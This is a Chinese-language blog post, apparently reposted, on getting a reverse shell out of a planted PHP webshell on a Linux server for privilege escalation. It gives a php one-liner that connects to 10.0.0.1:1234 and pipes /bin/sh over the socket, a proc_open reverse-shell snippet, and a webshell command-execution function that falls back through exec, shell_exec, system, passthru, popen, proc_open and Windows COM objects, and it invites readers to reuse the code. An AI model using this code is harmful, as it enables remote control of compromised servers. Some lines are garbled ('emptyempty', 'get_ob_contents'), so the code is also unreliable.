Linux下,有時候拿到webshell需要提權,提權必須要得到一個交互式的shell。
我看了一下常用的php webshell,對于命令執行、反彈shell都沒有完善的方式。很多webshell里都沒有proc_popen、popen這兩種方式,特別是proc_popen,比如phpspy。
在我收集的反彈shell集合(http://tool.p1ng.pw/getshell.html)中,有一個方法,就是在命令行中輸入:
- php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
但是有個問題,如果在webshell里執行如上代碼的話,會把系統的標準輸入輸出重定向到/bin/sh里,導致php-fpm直接502,然后彈的shell也會瞬間掉了,這個方式比較粗魯。而我的思路是:我只希望把我新創建的進程(/bin/sh)的標準輸入輸出重定向到socket中,不去動系統的東西。
當系統沒有禁用proc_popen的時候,我們是可以借助proc_popen輕松反彈這樣的一個shell的。不需要任何其他語言的支持,php足矣。
- $sock = fsockopen($ip, $port);
- $descriptorspec = array(
- 0 => $sock,
- 1 => $sock,
- 2 => $sock
- );
- $process = proc_open('/bin/sh', $descriptorspec, $pipes);
- proc_close($process);
其中$ip是反彈的ip,$port是反彈的端口,這也是我個人版webshell里一個小功能:
反彈shell的時候web頁面會卡死,因為php沒有異步的函數,默認也不支持多線程,所以卡住這個現象很正常,不影響反彈shell。
不過我試了,在windows下似乎不能完美運行。不知道是我環境問題(殺毒軟件等)還是代碼問題。silic的大馬中有一個windows反彈的功能,windows下可以使用:
具體代碼請自行到silic webshell中查看。我沒有試過,不知道成功率怎么樣。
另附我的webshell中執行命令的函數,各位看官自行修改后可以使用。有可以補充的,歡迎告訴我呀~
- function exec_comm($cmd, &$type = '', &$suc = TRUE)
- {
- set_error_handler("customError");
- $re = false;
- if (emptyempty($cmd)) return '執行結果';
- if (emptyempty($type)){
- if(function_exists('exec')){
- @exec($cmd, $re);
- $re = join("/n", $re);
- $type = 'exec';
- }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){
- $type = 'shell_exec';
- }else if(function_exists('system')){
- @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();
- $type = 'system';
- }else if(function_exists('passthru')){
- @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();
- $type = 'passthru';
- }else if(is_resource($f = popen($cmd,"r"))){
- while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);
- $type = 'popen';
- }else if(function_exists('proc_open')){
- $descriptorspec = array(
- 0 => array("pipe", "r"),
- 1 => array("pipe", "w"),
- 2 => array("pipe", "w")
- );
- $process = proc_open($cmd, $descriptorspec, $pipes);
- if (is_resource($process)) {
- fwrite($pipes[0], "{$cmd}/r/n");
- fwrite($pipes[0], "exit/r/n");
- fclose($pipes[0]);
- // 讀取輸出
- while (!feof($pipes[1])) {
- $re .= fgets($pipes[1], 1024);
- }
- fclose($pipes[1]);
- while (!feof($pipes[2])) {
- $re .= fgets($pipes[2], 1024);
- }
- fclose($pipes[2]);
- proc_close($process);
- }
- }
- }else if($type == 'wscript'){
- $s= new COM('wscript.shell');
- $exec = $s->exec($cmd);
- $stdout = $exec->StdOut();
- $re = $stdout->ReadAll();
- }else if($type == 'application'){
- $exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');
- $shell= new COM('Shell.Application');
- $shell->ShellExecute($exe,$cmd);
- $re = "請查看{$cmd}中輸入文件內容/n";
- } //Vevb.com
- if ($re === false){ $re = '命令執行可能失敗,可能是執行函數被禁用或執行無回顯'; $suc = FALSE;}
- return $re;
- }
新聞熱點
疑難解答